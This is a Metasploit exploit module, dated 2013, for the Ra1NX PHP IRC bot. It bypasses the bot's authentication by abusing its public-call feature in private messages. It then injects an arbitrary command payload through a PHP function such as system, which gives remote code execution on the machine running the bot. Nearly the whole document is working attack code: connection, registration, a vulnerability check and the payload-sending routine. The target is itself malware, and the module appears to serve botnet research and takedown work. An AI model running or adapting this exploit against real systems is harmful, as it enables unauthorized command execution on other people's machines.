Ra1NX PHP Bot - pubcall Authentication Bypass Remote Code Execution (Metasploit)

# Exploit Title: "Ra1NX" PHP Bot pubcall Authentication Bypass Remote Code Execution
# Date: March 24, 2013
# Exploit Author: bwall
# Software Link: https://defense.ballastsecurity.net/decoding/index.php?hash=69401ac90262f3855c23cd143d7d2ae0
# Version: v2.0
# Tested on: Ubuntu

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote

	include Msf::Exploit::Remote::Tcp

	def initialize(info = {})
		super(update_info(info,
			'Name'           => '"Ra1NX" PHP Bot pubcall Authentication Bypass Remote Code Execution',
			'Description'    => %q{
					This module allows remote command execution on the PHP IRC bot Ra1NX by
					using the public call feature in private message to covertly bypass the
					authentication system.
				},
			'Author'         =>
				[
					'bwall <bwall[at]openbwall.com>' # Ra1NX analysis and Metasploit module
				],
			'License'        => MSF_LICENSE,
			'References'     =>
				[
					['URL', 'https://defense.ballastsecurity.net/wiki/index.php/Ra1NX_bot'],
					['URL', 'https://defense.ballastsecurity.net/decoding/index.php?hash=69401ac90262f3855c23cd143d7d2ae0'],
					['URL', 'http://ddecode.com/phpdecoder/?results=8c6ba611ea2a504da928c6e176a6537b']
				],
			'Platform'       => [ 'unix', 'win'],
			'Arch'           => ARCH_CMD,
			'Payload'        =>
				{
					'Space'    => 344,
					'BadChars' => '',
					'DisableNops' => true,
					'Compat'      =>
						{
							'PayloadType' => 'cmd',
						}
				},
			'Targets'  =>
				[
					[ 'Ra1NX', { } ]
				],
			'Privileged'     => false,
			'DisclosureDate' => 'March 24 2013',
			'DefaultTarget'  => 0))

		register_options(
			[
				Opt::RPORT(6667),
				OptString.new('IRC_PASSWORD', [false, 'IRC Connection Password', '']),
				OptString.new('NICK', [true, 'IRC Nickname', 'msf_user']),
				OptString.new('RNICK', [true, 'Nickname of Target IRC Bot', 'jhl1']),
				OptString.new('PHP_EXEC', [true, 'Function used to call payload', 'system'])
			], self.class)
	end

	def check
		connect

		response = register(sock)
		if response =~ /463/ or response =~ /464/
			print_error("#{rhost}:#{rport} - Connection to the IRC Server not allowed")
			return Exploit::CheckCode::Unknown
		end
		confirm_string = rand_text_alpha(8)
		response = send_msg(sock, "PRIVMSG #{datastore['RNICK']} :#{datastore['RNICK']} @msg #{datastore['NICK']} #{confirm_string}\r\n")
		print response
		quit(sock)
		disconnect

		if response =~ /#{confirm_string}/
			return Exploit::CheckCode::Vulnerable
		else
			return Exploit::CheckCode::Safe
		end
	end

	def send_msg(sock, data)
		sock.put(data)
		data = ""
		begin
			read_data = sock.get_once(-1, 1)
			while not read_data.nil?
				data << read_data
				read_data = sock.get_once(-1, 1)
			end
		rescue EOFError
		end
		data
	end

	def register(sock)
		msg = ""

		if datastore['IRC_PASSWORD'] and not datastore['IRC_PASSWORD'].empty?
			msg << "PASS #{datastore['IRC_PASSWORD']}\r\n"
		end

		if datastore['NICK'].length > 9
			nick = rand_text_alpha(9)
			print_error("The nick is longer than 9 characters, using #{nick}")
		else
			nick = datastore['NICK']
		end

		msg << "NICK #{nick}\r\n"
		msg << "USER #{nick} #{Rex::Socket.source_address(rhost)} #{rhost} :#{nick}\r\n"

		response = send_msg(sock,msg)
		return response
	end

	def ra1nx_command(sock)
		encoded = payload.encoded
		command_msg = "PRIVMSG #{datastore['RNICK']} :#{datastore['RNICK']} @#{datastore['PHP_EXEC']} #{encoded}\r\n"
		response = send_msg(sock, command_msg)
		return response
	end

	def quit(sock)
		quit_msg = "QUIT :bye bye\r\n"
		sock.put(quit_msg)
	end

	def exploit
		connect

		print_status("#{rhost}:#{rport} - Registering with the IRC Server...")
		response = register(sock)
		if response =~ /463/ or response =~ /464/
			print_error("#{rhost}:#{rport} - Connection to the IRC Server not allowed")
			return
		end

		print_status("#{rhost}:#{rport} - Exploiting the Ra1NX bot...")
		ra1nx_command(sock)

		quit(sock)
		disconnect
	end
end